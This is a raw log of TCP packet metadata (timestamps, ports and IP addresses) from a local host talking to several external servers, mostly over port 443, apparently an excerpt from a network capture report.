Oct 31, 2024 01:18:47.412908077 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412926912 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412942886 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412991047 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413008928 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413026094 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413074017 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413074017 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413074017 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413074017 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413085938 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413177967 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413213968 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413249016 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413258076 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413297892 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413451910 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413469076 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413515091 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413521051 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.413552046 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.413559914 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.414199114 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.414273024 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.415096998 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415138960 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415180922 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415182114 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.415194035 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415227890 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.415227890 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.415466070 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415492058 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415540934 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.415541887 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.415570974 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.415591955 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.429193020 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.429215908 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.447132111 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.458518028 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.471072912 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.471132040 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.471160889 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.471178055 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.471199989 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.471220970 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.472064972 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.472101927 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.472124100 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.472127914 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.472153902 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.472174883 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.473867893 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.473902941 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.473933935 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.473937988 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.473984957 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.474610090 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.474642038 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.477025986 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.477037907 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.477070093 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.479546070 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.479579926 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.482156038 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.482170105 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.482845068 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.482867956 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.483252048 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.483339071 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.483522892 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.483577013 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.483649015 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.483669996 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.483750105 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.483803034 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.484108925 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.484164000 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.485308886 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.495209932 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.495222092 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.496515036 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.496583939 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.496735096 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.496736050 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.496784925 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.496831894 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.498145103 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.498212099 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.498496056 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.498505116 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.498524904 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.498538017 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.499336004 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.499346018 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509601116 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509613037 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509691000 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509700060 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509727001 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.509740114 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509773016 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.509787083 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.509807110 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509815931 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509867907 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.509870052 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.509941101 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.512661934 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.512676954 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.513927937 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.513947010 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.516297102 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.516346931 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.516376972 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.516390085 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.516413927 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.516436100 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.535788059 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.535841942 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.535887957 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.535897970 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.535916090 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.535955906 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536005974 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.536005974 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.536011934 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536259890 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536309958 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536335945 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.536340952 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536374092 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.536772013 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536809921 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536848068 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.536854982 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.536889076 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.538661957 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.538765907 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.572212934 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.575526953 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.575546026 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.576874971 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.576934099 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.577936888 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.578026056 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.579390049 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.579407930 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.580346107 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.580354929 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.580358982 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.580377102 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.587436914 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.587477922 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.587579012 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.587640047 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.587699890 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.587763071 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.587763071 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.587788105 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.587831974 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.587882996 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.588016033 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.588028908 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.589389086 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.589584112 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.589602947 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.590024948 CET	49956	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.590038061 CET	443	49956	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.591023922 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.591084003 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.591449976 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.591527939 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.592011929 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.592025042 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.595527887 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.595705032 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.595721960 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:47.658729076 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.659173965 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.659187078 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.659497976 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.659790993 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.659867048 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.660003901 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.680035114 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.680047035 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.703332901 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.704583883 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.704605103 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.704638004 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:47.758838892 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.759378910 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.759500027 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.768919945 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.768934011 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:47.802603006 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.802786112 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.802854061 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.812958002 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.812977076 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.813049078 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.813536882 CET	49958	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.813549995 CET	443	49958	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.832452059 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:47.838511944 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.840636969 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.840656042 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.841011047 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.841854095 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.841918945 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.842103958 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.843584061 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.843595028 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.875499964 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.876013041 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.876070976 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.876143932 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.883337975 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.903048992 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.913949966 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.913978100 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.914542913 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.914550066 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.943799019 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.944093943 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.944103956 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.944438934 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.945163012 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.945223093 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.945328951 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.948323011 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.960066080 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.960103989 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.960592985 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.960597992 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.962129116 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.962518930 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.962546110 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.962610006 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.962940931 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.962949991 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.964521885 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.964854002 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.964875937 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.965256929 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.965261936 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.975208044 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.975236893 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.975653887 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.975658894 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.987361908 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.998028040 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:48.012053013 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:48.012737036 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:48.012787104 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:48.012964964 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:48.013025999 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:48.013044119 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:48.040169001 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.040252924 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.040364981 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.058530092 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.058561087 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.058589935 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.058598042 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.068344116 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.068381071 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.068628073 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.069278002 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:48.069962025 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:48.070384026 CET	49961	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.070400000 CET	443	49961	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.074301004 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.074852943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.075562954 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:48.075613976 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:48.075661898 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:48.075686932 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:48.075704098 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:48.075751066 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:48.075901985 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:48.076312065 CET	49963	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:48.076364994 CET	443	49963	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:48.076554060 CET	49963	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:48.077060938 CET	49963	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:48.077079058 CET	443	49963	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:48.077198029 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:48.077214956 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:48.088385105 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.088445902 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.088740110 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.088994980 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.088994980 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.089008093 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.089016914 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.095773935 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:48.095818996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:48.096020937 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.096134901 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.096215963 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.096353054 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.096363068 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.096373081 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.096376896 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.100637913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100661993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100672007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100701094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100713968 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100738049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100748062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.100759983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:48.101506948 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.101556063 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.101645947 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.103066921 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.103140116 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.103192091 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.103646994 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.103714943 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.103732109 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.103750944 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.103758097 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.106223106 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.106257915 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.106458902 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.106623888 CET	49965	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.106637955 CET	443	49965	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.106996059 CET	49964	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.107012987 CET	443	49964	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.107081890 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.107146025 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.107208014 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.107352972 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.107364893 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.107374907 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:48.107381105 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:48.108259916 CET	49966	443	192.168.2.5	13.107.246.45
